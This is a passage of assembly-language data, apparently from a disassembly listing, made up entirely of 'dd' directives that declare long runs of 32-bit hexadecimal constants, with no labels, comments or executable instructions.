0B1F2C71Ch dd 7A05C290h, 9CA0C21Ch, 344ABE6Eh, 12CDB313h, 0E9909FBh dd 39425700h, 9F894BD5h, 3532B060h, 0A6647548h, 0A3743DA9h dd 0C55FA758h, 0F266A04Fh, 45EEA98Bh, 0B744E6C7h, 10C9A190h dd 1F4B0656h, 5455A43Ah, 389BCBDFh, 0F10D96BEh, 6221316Ch dd 0D1C594BEh, 21403E32h, 3A29F54Bh, 5A82E93h, 1914F4C2h dd 0E99BF75h, 3632A540h, 0D1ACB4ADh, 8BB454E4h, 63EF7F67h dd 68A44A20h, 81CADE5Bh, 1EC4C865h, 0D725CA5Ah, 0A32AC9ECh dd 93A6FF2Dh, 0C4C4970h, 3C936536h, 4E7100A7h, 8617572Ch dd 821F42ABh, 43E9700Bh, 703B59CEh, 42386B59h, 0F88501DEh dd 0BCD683BEh, 0BC11A2F0h, 0A5AE274Bh, 3B5B13BBh, 0EA0EFA84h dd 34B64662h, 13257A5Bh, 770139Eh, 806AB7A4h, 4044521Fh dd 5E652234h, 0B1F4933h, 0D441B3E3h, 9F079A9Bh, 126B418Bh dd 8743AB28h, 8B186893h dd 255952F4h, 0A6999D10h, 6A5452F2h, 3D565A22h, 48295DADh dd 193B8202h, 87012CFDh, 0F338A65Eh, 8E10E04Eh, 0FDC3DF34h dd 8F5BAE80h, 0E143652Eh, 0A0089103h, 61AB5306h, 29AEDDA4h dd 65AB4EDBh, 4661647h, 6B78DF6Ah, 73E8EDEDh, 0BD81EB93h dd 76389D4h, 303DFBA9h, 0C8B989A7h, 0EEB4684Dh, 0D49B3864h dd 0AD604B19h, 8CDCB820h, 879F0351h, 3F7CFD2Fh, 0A5FCD3ECh dd 0A79702EFh, 25F6B625h, 8DA32962h, 0ABDE910Ah, 10B764F7h dd 0F16AECE6h, 922BF9A5h, 901D8B16h, 72C26BB7h, 4736AE28h dd 0C7208FA4h, 7B4574FAh, 9C4C94A3h, 0B038E80Ch, 0AF0F043Eh dd 0EDD98BB7h, 1288B54Ah, 407521D3h, 45756ECCh, 0F20213ACh dd 0FAB214C4h, 7E19BF84h, 56E68AC0h, 8D2C6F66h, 51509E84h dd 3C089243h, 8FC46846h, 0DFDC13E7h, 0AC872FEBh, 9501325Ah dd 478D2829h, 0ABAB2D38h, 0E318191Ah, 0AD54C4FDh, 0D9202BCDh dd 0BDC65C74h, 16E388DAh, 0C7F0C868h, 11771CECh, 811818DDh dd 531E92DFh, 69E3300Dh, 0EFC9C457h, 98DCA0CCh, 0BB7767D0h dd 89BB10B9h, 0F68E406h, 9BF1F3F9h, 9ED2128Ch, 0AF5BEC03h dd 0BFE7E819h, 0D7723142h, 7D39ED24h, 5BF17545h, 587E9156h dd 96D1D6B5h, 5D65B911h, 21CE25C9h, 0D440581Bh, 71E162Ch dd 0A6E88113h, 0E582E779h, 7453981Ah, 3B312840h, 6A246E1Ch dd 0BD787700h, 0BEE25FA1h, 0A65D6069h, 2379DF6Ch, 88053F9Eh dd 0BA0EAF9Ch, 67AFEF2h, 0E96FDBF0h, 0AFE58710h, 0BD678A84h dd 0A472B5E2h, 9B361C7Dh, 0B3BEF9E7h, 0C3F7A2DDh, 0B0097CBEh dd 864E82E5h, 605F8499h, 8451FEE1h, 0E57C7323h, 1267F879h dd 3F708ACCh, 0DD48D419h, 0ABF0343Ah, 0B006C0E6h, 23396478h dd 0BCED7B9Fh, 76113DC0h, 0BCCB6A1Eh, 24A3316Dh, 43956DAFh dd 0BD05E3BBh, 0B0318667h, 0FCCA182Dh, 96335D2Ah, 0ADC81F2h dd 1ABF5FC0h, 87A01653h, 184D1C60h, 0CE4D162h, 702873B4h dd 446194ABh, 19DE147Ch, 14EB0439h, 4A9B835Ch, 3A19C4F3h dd 130D03B9h, 3E4C8B47h, 2BD68306h, 0B43A6281h, 2B3CB6A3h dd 9E9F4F89h, 0E2FF7360h, 0B836638Eh, 2D895DA3h, 0D4C8FD0Ah dd 75209E5Dh, 0A8187B6Dh, 0BEF92E0Eh, 8DF30BBCh, 6F6057CFh dd 3EAB1C0Dh, 0BCD345Ah, 9220E2BBh, 6672BE15h, 92FD50A0h dd 84FA6C84h, 37D64AEDh, 5E08DACAh, 4C8DD076h, 0EE07EC57h dd 0B3AB63A2h, 0FEB08904h, 0FB1BBDDDh, 9715AD3Dh, 83219BDh dd 993D5354h, 0FBF89C95h, 8D5573AEh, 49B33030h, 8501AD10h dd 56E7AFD4h, 7AB7F326h, 2411DEEFh, 61296300h, 81D5D1DBh dd 18C8BEF0h, 4977CAA0h, 0B506773Dh, 5C8068E4h, 8E4AEFDFh dd 6A808FE3h, 70D43E9Ah, 2E78EC5Ah, 28414556h, 0EA2FC1C3h dd 7A775079h, 66277ACFh, 9B95F271h, 0C66BE554h, 0E30F2A77h dd 70AB038Bh, 0CB6A4C6Fh, 21EAD678h, 8FAD0073h, 1278D869h dd 884BA222h, 10B3AAD8h, 9970FFEBh, 1033927Dh, 0EBC63F36h dd 0FA043F26h, 4640916Ah, 6C812CAFh, 87284513h, 0F0649C8Bh dd 0B59173E4h, 2482E4B5h, 7A4B229h, 45C3ECABh, 0A8707E35h dd 56DCA55Ah, 58F05DBEh, 5777BE8h, 4EE246A9h, 9A725DDFh dd 0F1B0DD81h, 0ADB3642Ah, 568B58D2h, 0A6408A34h, 0FDFAFC48h dd 0FB7DE021h, 3D6DE55Eh, 1977B84Fh, 40FA82FEh, 0F2F1A85Bh dd 0AE37F283h, 0A743A4BBh, 0C77541CAh, 431D370Ah, 19D1EAB8h dd 387DB7D2h, 7CB7F106h, 1456C60Bh, 0A73FF378h, 0E4DA9408h dd 0AE710A21h, 627491C0h, 39E20CD8h, 0CC29C251h, 0E48EB244h dd 0BB1D04D3h, 0E63154FAh, 0AE02582Ah, 0BEE0367Fh, 75ED2488h dd 9709C42h, 372E0ADh, 0E825B1EFh, 0B3E87558h, 0D5D6135Bh dd 0FFB81CF4h, 11C000DCh, 8DFEAA95h, 5F987539h, 7BB591B6h dd 237C73A3h, 58BA29DFh, 0DFCE4CAEh, 14A0CE9Fh, 36F13FFEh dd 0E083B703h, 73488B0Fh, 6DFF29C1h, 9BE0FCA2h, 8259F149h dd 32284A6Dh, 5BA14D89h, 47BE5576h, 8A4DCCE4h, 425E7427h dd 0E1AC02FFh, 74568CFCh, 0A0A8DCD9h, 744ED18Bh, 0DA03D723h dd 0C0BE3288h, 81723D21h, 132A0B42h, 0ED589CDAh, 0B8F6BDB0h dd 886392D7h, 2A853470h, 0D741B027h, 0D4E53D29h, 1411BE31h dd 6FBB01F3h, 0CF49C6C3h, 0BBA1F8C6h, 6DB4E9C3h, 0C0F7EAB0h dd 0A9D3A423h, 9116FA4h, 705F5ADh, 0D9BA4974h, 708580CCh dd 0FCF37578h, 3F793E1Bh, 9467AF17h, 774C875h, 8D2E5921h dd 93B02299h, 9E23BDD2h, 16E268E2h, 935C9FE3h, 7448428Fh dd 0FD82DEE0h, 0DDDE19D6h, 0DA8363CEh, 0A2F672F4h, 4684601Fh dd 1C2765F9h, 8DF58992h, 0F5030257h, 0D801A8E3h, 0DFCECBF8h dd 73E968E1h, 6EE7EFD8h, 9C385A5Ah, 0B446903Dh, 1E299644h dd 0A420395Ch, 20CA4534h, 0D794DF57h, 34EA9D5Ch, 0E0FDC7B3h dd 63892544h, 0BD98010Eh, 11FCB706h, 1E5A1F71h, 895492C8h dd 82B4F243h, 9628AEBBh, 0D47B3C24h, 0A4F626CFh, 20AA21E0h dd 0A1047C49h, 51E28F32h, 0C0D87D21h, 0E04A573h, 0F9712491h dd 8B3EFEC2h, 0F0130F88h, 99332F71h, 1D034085h, 0BEDEABFh dd 0ABDD6B90h, 26E2609Dh, 0A4B9F2D7h, 8A76203Eh, 0DF6BEB0Fh dd 7AAE63A8h, 0D676D3BAh, 0CC791B15h, 0F3A1FC68h, 5F6C5518h dd 3C4E6860h, 28E70D42h, 196117CAh, 708A11DCh, 3576259Ch dd 2F9E8A75h, 0B56CF93Ch, 39185DC7h, 0CC8AA27Fh, 0F7AD3CFFh dd 6A0301Fh, 210C6AB0h, 9DC0945Eh, 244D4925h, 0EFE80D15h dd 0D5CD9823h, 95017024h, 0F1F7BF69h, 0D3D25BF3h, 0A205AE30h dd 3CB51B65h, 8E6FC36Eh, 861CEFB9h, 1CB24E55h, 4B14633Eh dd 7B07D412h, 0A6554474h, 7272A32Fh, 4D96B954h, 0A5054686h dd 0DD6A048Fh, 0D6012DA7h, 0A1791C9Fh, 0E5A00D60h, 3312405Fh dd 393A3DD6h, 0DBF936BEh, 0AEAE6586h, 6054068Dh, 5DCDF91Ah dd 9312AB6Dh, 0A3272FAFh, 66CEB435h, 0E7452A05h, 9664F226h dd 89034B6Bh, 0DD0B83EFh, 43CB2660h, 0F304CBF1h, 0BD6AC0ADh dd 27217175h, 0AACA0335h, 29755C2Ah, 0D4835800h, 5F873735h dd 0C9D96439h, 4763807Bh, 23553C1Eh, 713EF49Fh, 6C6D3DDDh dd 0FF493A5Eh, 7BF5250h, 0D6CE607Fh, 0A5A68CFFh, 0B2CC2E40h dd 821C34A7h, 0B3AB4907h, 578B6E9h, 158B016Ah, 0AD10140Ch dd 4280899Ch, 0C951F94Bh, 43B6723Ch, 0E7667AACh, 324BBF8Ch dd 0B39908E4h, 7BFEEE78h, 0C360CB5Dh, 2FD275D2h, 35A6EE2Fh dd 0C95C9403h, 0BEE267C6h, 216925FCh, 48FBD1B3h, 44237341h dd 243EF908h, 0B36197F0h, 0F06DD143h, 3848DB92h, 0F25F95C6h dd 570FCE28h, 505FC42Ch, 60F8280Bh, 0D8A9CE02h, 0F57DFEB2h dd 564C58A8h, 966AA6DBh, 8B258CBFh, 0E4FC3A30h, 0BE357487h dd 0DE7E900Dh, 89979F8Eh, 798703F2h, 7EFB6A8Ch, 467CF793h dd 2FE10387h, 0F28E892Eh, 0E05A684Eh, 72A87B36h, 0E75B9E4Fh dd 51287BB6h, 65BADF7Bh, 5F3E3A54h, 0F8DDD179h, 13ED9FADh dd 6BC192A2h, 8FBA92D7h, 3B951AADh, 2E15B70Bh, 8E8FDB2h dd 980087ECh, 0BB5D5705h, 9D2E3826h, 18B0AFC5h, 0BFDA9C03h dd 73EAC6Ch, 4AF582FFh, 67659683h, 8DB5A553h, 0AFA6BA00h dd 9EF3B786h, 0A8960819h, 0FBA158A6h, 453B9F06h, 2439A7Ah dd 0E8DFB93Fh, 0B3BF23CFh, 0C70620C7h, 0D4D8A484h, 0FCD7E154h dd 666FC41Bh, 0B2F5B6A3h, 0E21E341Bh, 86F07A49h, 2E461F0Ch dd 3FC75059h, 1CF1A7B1h, 0D0A46DA5h, 0F3D4715Dh, 0E4C7F057h dd 0AF1D6D1Dh, 0C492F841h dd 0AF0D16FFh, 0F8B6853h, 7DE760BAh, 847A57E0h, 0D6C37227h dd 3607C3AFh, 910FD451h, 446A4857h, 0C75E89F9h, 0C6E04666h dd 123307EFh, 0F0A010B7h, 210ED882h, 4ADA55A2h, 9CC7152Ah dd 6360CEB0h, 443697DDh, 360F3266h, 0F0EEA351h, 0ECF4D5E5h dd 0C332AEA3h, 39E26A8Eh, 948AFE22h, 0E0C68026h, 16AD6380h dd 7782608Bh, 47B1C652h, 4099A258h, 2D9B1DD7h, 6F1C597Ch dd 7A42FFB3h, 2010B4FAh, 0F558B466h, 623FD232h, 8B7A0F10h dd 0B73D24E7h, 83F0BC76h, 7C1CD9A2h, 3DF24828h, 1EEB4866h dd 0DC2841B5h, 1B1EFF80h, 0C8515CF8h, 39D5A8BFh, 70B17017h dd 0C9DE737h, 0DDD29221h, 6E310480h, 55382539h, 52109CBCh dd 8E0AB753h, 51980898h, 7C1FA1EFh, 0F492E669h, 80546C97h dd 0A40325EEh, 0BBC2FCCEh, 26597924h, 1DA0ADE3h, 0CFCAB386h dd 0E678370Dh, 5D43CB8Fh, 572E00F1h, 92DACE56h, 6900D794h dd 0C16FCAB3h, 0A2C8C047h, 3C78055Dh, 0F509C43Fh, 90439C17h dd 3FC128CCh, 0B99CF726h, 8829B0C4h, 44160FA4h, 9B985861h dd 545FF888h, 6C6E9B42h, 4393CD3h, 9070CE11h, 5E83CBC7h dd 998AF8ABh, 8A503DABh, 1762DF50h, 5C648BB1h, 186C3144h dd 0F98586CFh, 602C4593h, 22555EFBh, 0B514C12Eh, 9833A76Ch dd 4DD6FF42h, 5B045AFEh, 0C173C218h, 0C9EE7191h, 0D36CE5AEh dd 0DDE7E065h, 0B31D0E92h, 0C58079Ah, 0D027DF3Ch, 6FE2EF3Dh dd 0CE148654h, 7EB2D07Ah, 7F764B69h, 195D5853h, 990D264Eh dd 684D7AAAh, 0B53250E0h, 24A216C7h, 8C6F5517h, 0F403F397h dd 2A3D7706h, 0B1014448h, 0D1478C00h, 0CB4A3829h, 0FDAE05F4h dd 0B4F8CB56h, 0F5614931h, 0C002DA43h, 21C947ACh, 0DB1C8B23h dd 2BD21C1Dh, 0CB67AB99h, 0E6D8501Ch, 45CACEC5h, 0A7ED5D0Dh dd 53BE0E32h, 57E999D1h, 2CC4B3B6h, 0CA56B64Ch, 0BF81F589h dd 1076EFADh, 0B38D5605h, 3FDC72BCh, 6B6DCBFDh, 49BA1124h dd 4AB60C70h, 0E9D47687h, 25D73764h, 0A5F47A62h, 577274B2h dd 0ED026ECEh, 0D5BFE15Ch, 0DFBEE5C4h, 3E79A82Bh, 0B9C51A3Bh dd 2B059CC4h, 3053CE07h, 45833F87h, 26BD9928h, 0CD075596h dd 656E00ACh, 5B1525F2h, 862023AFh, 0E4EEA029h, 0B4DD0E89h dd 1E600C45h, 0E9985E4Eh, 79D114A6h, 0D356E64Ch, 0E802D7A3h dd 9FBF72F4h, 4D356C4Eh, 0A97F1C74h, 5FA2164Bh, 0DA31EDD0h dd 0F51CEC54h, 6582162h, 3C109804h, 3E03EB9Ch, 6D07920Ch dd 1BBE650Fh, 0E7EC4553h, 7724AAF2h, 0C577BCD5h, 27305552h dd 0C976433Ah, 35274D29h, 6D7D165h, 247BC57Bh, 0C92B5CEBh dd 0A2D02C29h, 29D2CF3h, 8C18D309h, 9C9DC2D9h, 272DCD77h dd 87ACBD0Bh, 41774370h, 2E049050h, 0EC44E0BDh, 0C7A325CCh dd 2DE2C07Ch, 75C9CED6h, 0AA319E26h, 3730B909h, 24AFD8C8h dd 571B363h, 89C0D7F9h, 0DCAA9E1h, 0D7BBD786h, 2D9C99Ah dd 25A8F918h, 51F2B315h, 4A33EB57h, 0CB2E4E85h, 5686B6FEh dd 578AA9B7h, 0C73F9A7h, 10601B0Ah, 5CEADFC5h, 623D800Dh dd 0CAAB7853h, 4EB493B1h, 5A643CC5h, 1BF309E1h, 0B156C234h dd 54C2E835h, 0F8E7D739h, 353C4C04h, 7971C410h, 0ECA8B57Bh dd 0CBA7D562h, 0B5D2FBA8h, 7051E84Ch, 0EE8D8A55h, 59CE3705h dd 223E6EE1h, 7C03CA6Eh, 0E1530B43h, 0ECC1878h, 5B6C4EF6h dd 637E8CB9h, 476A81A7h, 843B50FBh, 0A7F28B99h, 51CCC7C3h dd 3D1D61E4h, 0C9DF70C6h, 0E1EE5597h, 3093A353h, 83329AE2h dd 26932B32h, 0F910E2BFh, 95D0D991h, 0B45E22D3h, 0FAC5D1C9h dd 0CEE541F3h, 0DB9D601Dh, 0C49484D3h, 0A6D06B7Ch, 89565723h dd 0A591B291h, 0DC552492h, 0FFFDF823h, 0F39C9074h, 0AB3BCCF7h dd 1D17E012h, 0D68A417h, 2BEF6B18h, 7E2CA3F1h, 0E681BB73h dd 1C71A266h, 884A8087h, 84C24148h, 2EC88A39h, 152629AAh dd 3E7976D6h, 0C4670B32h, 8ED744CCh, 0D5B8FB51h, 980D5A4Ah dd 4A96002Ah, 64B06B8Eh, 0FF0C98DAh, 362576DFh, 0A546DF63h dd 0E2BBD3F3h, 0CDA82B3h, 442A8649h, 89C7EDB8h, 155E9D81h dd 0A1774BDCh, 0D0DFB005h, 1DB1CCE8h, 0CE195E97h, 6F0C92Bh dd 0F81F210Bh, 0E865CB6Fh, 3CE8C31Fh, 3F6790C1h, 0EDCC5233h dd 0D404A18Eh, 5159DD8Bh, 14C6D785h, 18CA5863h, 68083DFBh dd 6CA10B12h, 2A084E72h, 0E22251DAh, 3174CA17h, 0B017A28Ch dd 75999953h, 0A5AAAA95h, 3495DCDh, 0BCD692E8h, 3DA0EFA0h dd 76EB44ABh, 447E3F35h, 1E052931h, 3640C741h, 8F61E3C5h dd 0A2C148E9h, 398D8B2Ah, 1DC5A494h, 1E416463h, 0EE9878BCh dd 0E72B25BDh, 6D4CA605h, 8EC9FEFh, 0CADAC4EFh, 0DB888E0Eh dd 4DAEB68Ah, 0C19560A0h, 806789E6h, 1B843A3Ch, 5B5557C4h dd 11C73C15h, 0C6660D75h, 466F8140h, 0FA3D9697h, 4E7228BCh dd 9DC6FE51h, 0FD5BE350h, 1F98CDEh, 0FC5CB277h, 5AF9D7B4h dd 74109B9h, 66E22B3Ch, 9E83B41Ch, 57D53FFh, 0B73FBF0h dd 0CEA66A37h, 0EC678AECh, 6B464534h, 0CF265FF3h, 0F0E0161h dd 0AB0AF42Eh, 341BEF33h, 0E4020113h, 43B5EDD3h, 938DF382h dd 83455422h, 0C533F9E6h, 0DE646898h, 3011CD48h, 981A3AB5h dd 9EF210B4h, 0F17D4388h, 1FEA65A0h, 8DBE0E5Fh, 42CD59DAh dd 9D36978h, 82AE1514h, 0BD14951Ah, 0E7C8FBA8h, 89ECF0CCh dd 4CB25702h, 9966352Fh, 1BD55345h, 3F466200h, 8F0DC9D6h dd 3F0DCC30h, 9F0D9D8Eh, 0D63E218Bh, 58599CE6h, 0F6846ED0h dd 0B5863F46h, 7FC8387Bh, 0B29E4F7Dh, 95549938h, 0B77D8F60h dd 0F4A80FF1h, 0A9009D14h, 0F921F33Ch, 22E68DB4h, 7E64086Eh dd 0EDB03240h, 1E28E93Dh, 6AB75EB2h, 0C2DA4FFCh, 0B8AA9EAh dd 71DBFF43h, 135735CDh, 8D6A48CAh, 2F6069B3h, 87CEB5CEh dd 0AF7BC02Bh, 557472E5h, 54C72F7Ah, 0DB88E489h, 0C66CF4B7h dd 4C12EC09h, 0E24B25E7h, 63135C5Fh, 2087B7E7h, 15169E7Eh dd 1F802F4h, 0EE2D1B2Fh, 0BD6F51F9h, 27C94105h, 0DC142C64h dd 42DA407Eh, 65AE28F2h, 28B302B6h, 229DF264h, 68B96E6Fh dd 79357F82h, 3430D1CCh, 3CE0D892h, 2E983966h, 50275A01h dd 2763C048h, 0CE75FBB9h, 3C2C355Ah, 0C4449A67h, 7691AF29h dd 7E6C810Bh, 3DB6F26Eh, 3B470401h, 681EC230h, 577A9A9h dd 0BB17791Ah, 9970EF1Ch, 5EA9D58Ah, 0AE7D9E3Eh, 87561B31h dd 0BE08A84Ah, 0D85D7DBh, 77AB6DE5h, 91A770B6h, 14D5BDB9h dd 9B98F58Eh, 595CFD6h, 0A4BA9262h, 0B260BD84h, 7AE4A8CEh dd 119156C4h, 0EEBA5B59h, 1A96102h, 38F29D84h, 5960B4D0h dd 2AAC3828h, 0D36277C2h, 8ADB8EFBh, 302E6CEAh, 67094BB0h dd 0BA7860FEh, 5AB4BBCCh, 685B9F13h, 358F2D4Dh, 717016AAh dd 865138ADh, 4F5A84D7h, 0CBC6388h, 1262DB91h, 96E18A7Ah dd 6DF4AD81h, 3224AF50h, 7A0B9D07h, 5473CC61h, 52CA1903h dd 89B31C85h, 5E868B4Eh, 0A72D4298h, 0AC65DB30h, 3F56C064h dd 110E3462h, 4CEDF80Ah, 0A39B93B0h, 0ED1F08A1h, 0C61B9EBEh dd 0ABB3D617h, 93062C7Ah, 5D0A29A8h, 99341AB2h, 0ABE5DDB2h dd 0C53B07B7h, 0E2CE3A92h, 94FCFF88h, 0ADD1BD4Bh, 5D45EEB1h dd 5FB4AA8Bh, 6A412D0Fh, 85CB9D0Eh, 0B3DBCB3Fh, 0EA283DA5h dd 6C20FB1Ah, 0F0228C7Bh, 9A3D7A41h, 2EB8F74Ch, 9AB27CDAh dd 42191A9Ch, 0F4994E03h, 51328E39h, 805AA62Bh, 0CD4F4240h dd 4EDABCC6h, 0EC4EE796h, 31AB6086h, 652B9E4Ch, 0F65F17D3h dd 0ACC66C30h, 71A64DC6h dd 3C908525h, 92C71267h, 42C499E4h, 71C326FEh, 8EF499F9h dd 0EC5DAFEEh, 0C7167766h, 0C9D5EFACh, 7BE53246h, 2D2FC1Dh dd 63060B40h, 5846A6E4h, 0E1F5D438h, 16B123E6h, 0E316B883h dd 460827B0h, 8DB90A52h, 0F1CB23DBh, 92889142h, 530E2081h dd 750123EEh, 0A312022Ah, 1EE3255Ch, 482A4E4Ah, 7D5239h dd 0BF189FEEh, 2EEE06B6h, 6D350A6Eh, 87256852h, 2DE77437h dd 0A7DFDC1Fh, 2A8D2519h, 6A10C8C7h, 6358EB69h, 37C4EC91h dd 1C3ED73Eh, 0A38A0BDFh, 44AE840Ah, 37D567EBh, 26575971h dd 0D4A60D8Fh, 708A82D0h, 9CF84C03h, 5D7A6C38h, 0D214F0E4h dd 4BE8AA69h, 62537253h, 0EB44F7C1h, 0CACA6183h, 82E4757Ch dd 0F24C3232h, 5F515D8Dh, 347F3F3Fh, 0AED66697h, 0DFB5730Fh dd 5E22DC6Dh, 0A77FA9D4h, 0F2FCD82Bh, 7E00709Fh, 0B2687A13h dd 0BAA3AF1Ah, 39EE0638h, 0E9EACFC0h, 0EEB0E6AEh, 0D895DA47h dd 0C75C6548h, 742FC923h, 58D7FA86h, 0E9630F92h, 0EB4C7DF9h dd 0E662DB2Bh, 974440A9h, 249143D2h, 3F887A0h, 80754473h dd 6A593C07h, 37978802h, 63B2059h, 4BA8B8B6h, 578BA259h dd 0A9AC3DFFh, 0F0E549Ch, 988E0D35h, 0E9E110F7h, 0B5212E53h dd 0E1631A73h, 13308038h, 0BE7DFC3h, 0A442B5E3h, 7FD0B53Ah dd 9A323290h, 2C11A15Dh, 0B3F07AE4h, 0D4837BA0h, 0D706B35Ah dd 0C6BF4D4Bh, 0B3AA73EDh, 22334C4Ah, 117C173Fh, 0D8E8A4C2h dd 6E282EFFh, 2E2490C8h, 3A0EB7CFh, 0AB22BA5h, 0E4B1F6D8h dd 0F92060C1h, 41EEDE13h, 1DAE2E38h, 721C8E23h, 1B47FE33h dd 0D179FDD5h, 0F96D4B18h, 0F47F04Ch, 0B0F65F80h, 0E136BAD7h dd 4EF24AA2h, 1CEA7CFAh, 971BB9B0h, 127A3204h, 52FA6F9Dh dd 0C81FA1A6h, 1902013Bh, 0F2AE4ACEh, 6522980Eh, 375A55E7h dd 0ADF74E7h, 273115B6h, 652D1609h, 772745F3h, 0E735FC6Ch dd 0D8E63EB3h, 85DCD90h, 8AEA8FF1h, 83EE3521h, 89F9C23h dd 0B7F1D527h, 83C54B79h, 0B593C094h, 0CA2D4570h, 23892FEBh dd 0B926F1E6h, 0CF57C633h, 0E4AA733Eh, 73DB5B8h, 0A1EA358Ah dd 0DEB75DB5h, 238A7CE8h, 2992AA4Ah, 0E6F06920h, 0B15E35FEh dd 0B6DF8FC4h, 4B40C658h, 52A6218Fh, 0ECD0D7F8h, 0BF1E4F76h dd 3EA740DBh, 7509721Ah, 37D43D0Dh, 0EEDDD509h, 715059CCh dd 0FCAF3CB8h, 0FDD7F4ECh, 125D461Fh, 0A3E4E9C9h, 0F4B39B85h dd 7BE6032Ch, 6EFAAECDh, 563164AAh, 517734C9h, 5066A11Eh dd 88ABA2FBh, 7BEA9B43h, 0C6720775h, 4925995Dh, 5D3833D9h dd 0E143C877h, 871D399Ah, 4194151Eh, 0E1C02C5Dh, 0A8017332h dd 0E8907739h, 52E124B4h, 9FDE1036h, 285F9B0Bh, 7BE53D13h dd 3BEF7B2Bh, 0BB5370FAh, 851BBB67h, 1FCEFED3h, 7E4E7280h dd 7FB3F327h, 0E3293048h, 0CA4A0872h, 0F08C4A47h, 412FFF5h dd 5176473Fh, 553B2BF8h, 0F4EB1E9Dh, 169DE3Eh, 0F3838A7Fh dd 0E2A676CCh, 738FBA14h, 8B9251C3h, 268663F5h, 0DC78753h dd 6C3F6D89h, 91A7CE4Ah, 0EB14F006h, 7BBE9171h, 92BF98A3h dd 38B2F6CEh, 80089DA2h, 31FB505Dh, 17EB713Eh, 0A443DE72h dd 49F79FB1h, 4DF54380h, 176DD2A4h, 0F9D644E9h, 0B43A953Ch dd 0C4C19EAFh, 1DD8E925h, 0C2386A79h, 42C173A0h, 1EB20C92h dd 2DFB8A4Ah, 63EF4517h, 77E0C2C7h, 76E98B1Ch, 67FF4506h dd 4CA5F021h, 2C771BB1h, 5F6AFD8Fh, 3C7214Bh, 34FD54Fh dd 334F496Ah, 45384B0Ch, 0ECE473F1h, 9EDA4414h, 0B115F48Fh dd 75B66C69h, 0D98732C0h, 0CA795A6Bh, 0E6CC6AE8h, 7C5BB31h dd 17BF94B1h, 0F142AD0Ah, 207C3ED7h, 2540F27Bh, 75D78FCCh dd 0FA8D4A43h, 7BCA2ED9h, 0A1223E48h, 644D8A01h, 77EE956Dh dd 9269503Dh, 604DDEFAh, 885D2BC0h, 0A7180838h, 0FEF721B2h dd 0FE02BBDEh, 0DFCC76F1h, 2D0F76FAh, 355D3B3Eh, 9889B6h dd 65413BA2h, 0B88C5734h, 6E1EEB93h, 51DA3D39h, 62CB8443h dd 4578FEAFh, 3C9A26DCh, 3B0B32B8h, 3E6C6FCh, 71086B5Bh dd 4CFEAD15h, 0D7B2CDEh, 0AF5D9DA5h, 2CE6C941h, 44EF1753h dd 0F1F978FBh, 0DDEA3394h, 261885DAh, 0E096E6Ah, 18B1758Fh dd 72ACCB13h, 0BDAB953Eh, 646715E9h, 198BB01h, 9498EFDEh dd 0ECFFC69Fh, 0EE60A294h, 8F0FAD16h, 0C0F95BBBh, 504BE217h dd 0C237F28Fh, 0D6BD6231h, 0BF14805Fh, 83CDC536h, 0A68D76A3h dd 4A72306Bh, 6A65C8Ah, 0D522EE53h, 0BB8F5BE7h, 4B27EF59h dd 0E3BC228Eh, 0E311D726h, 9C23A16Ah, 132E2A88h, 0DBE28143h dd 0E36D03CFh, 7F0914C2h, 0AF669390h, 7EDD21D8h, 0AE1B0752h dd 585B13C9h, 3E30C0BEh, 0BE7D0BDCh, 831BD2F9h, 4CD561C2h dd 0CE13185Ah, 44C5437Ah, 294300E6h, 0D2FB2B2Dh, 0B2CC056Bh dd 0FAA4AD6Fh, 9BBDE1D1h, 0C531C0D3h, 0A8F47A57h, 598FA6BDh dd 24EAA595h, 26BD49A5h, 8B249BB4h, 69EDBB7Ch, 154572FBh dd 4BD01BCDh, 837ECD7Ah, 0C692B882h, 0B826532Ah, 0BAD5447Fh dd 32A513h, 0AC447805h, 0AB6DA984h, 0A8077B73h, 4DD96CAEh dd 17A92F2Bh, 7D7C79ECh, 4349B43Dh, 0AD8D6E11h, 0CF7C64E0h dd 33A2F119h, 0C235D9A2h, 0C95C96B5h, 6D98FC2Dh, 983DC30Bh dd 2C995B12h, 0D0ED48D9h, 332698B3h, 40596FB5h, 0C140A7BDh dd 0B5587234h, 8D1064FBh, 0F35C01A8h, 0CCB4C16Ch, 0D04D7F92h dd 0F9D34BCFh, 0D5D49E33h, 0CDE4A5AAh, 7EC45639h, 155C4631h dd 0DAF8759h, 770A9656h, 0FAAEB2A8h, 703CC1A3h, 0F3D5899Eh dd 0B91EC469h, 0A71EB932h, 89530574h, 3A2C63Dh, 7521814h dd 6E348C4Eh, 7B523CCFh, 38BF83C2h, 0C216311Eh, 0F38F79BBh dd 0CB582BF5h, 3A9DDCD2h, 37B13DABh, 66CF6DEDh, 4A6C763h dd 2B3C6CD4h, 4997EEE1h, 2B6F0DE0h, 70FC7FD5h, 95124B54h dd 7A33BBF4h, 0EC27FBD7h, 0FA85A1E1h, 2223D4B8h, 5EF8C807h dd 346219C3h, 1553C578h, 0E9628B80h, 97E1E931h, 9F1EB9B9h dd 0BA12DDF3h, 0B0554595h, 8AFA49D9h, 269AA42h, 16DA3F23h dd 26BB7825h, 49FEF664h, 7D59E5B8h, 1A2A7DA0h, 962804A5h dd 0EBBBD64Ch, 49E43600h, 5E72C3C1h, 9FD88D5Eh, 576BE416h dd 0A60642D1h, 7F536DDFh, 0D2A50E8h, 7657445Eh, 0ECA890FEh dd 0A3715D5Bh, 2179EEBBh, 578DCFB8h, 0E5589013h, 0E2EF5BF9h dd 13A8ABEAh, 66FEE0BDh, 4ECA6252h, 590CED38h, 0F462ACC0h dd 15220018h, 9D500D8Ch, 0CE380B49h, 0D6A613A8h, 0E6E5F6E2h dd 0D58626BCh, 0DB147C33h, 0A941CEE0h, 1DF69CFh, 516A0021h dd 9D987EE8h, 0FB62ACF4h, 9BB8253h, 1D295731h, 0A3CD980Eh dd 3968086Fh, 34F9AA9Bh, 4D3D54A3h, 318A9CC9h, 0C44C972Bh dd 0A3B4FBCh, 8A804C2h, 0E4EE0F63h, 0D26604A1h, 7A8D0711h dd 0B062A226h, 39A32852h, 81474D43h, 42456C89h, 0DD81DE39h dd 0C960433h, 70856756h, 0FC446C93h, 0CFE69EFFh, 8553B48Bh dd 0CB172F5Dh, 0B917D62Ah, 0F33B7FD1h, 3B6801EFh, 574609Dh dd 6BDFADF4h, 6823572Ah, 0B86A482h, 0AD63E981h, 2E2ABA2Fh dd 9FBD16CFh, 76BC9EF3h, 3615F8DAh, 0A3E4B452h, 54DF5557h dd 9E67CCBAh, 25280E46h, 0BF1E4AFCh, 0CE63EF1Fh, 84822A67h dd 0B43CEBC4h, 10C2557Dh, 31BFFA9Ah, 0AEADDAD0h, 0BC94E3B6h dd 0B91ADDE0h, 0EA85C5E0h, 7A277A7Eh, 3014E1ACh, 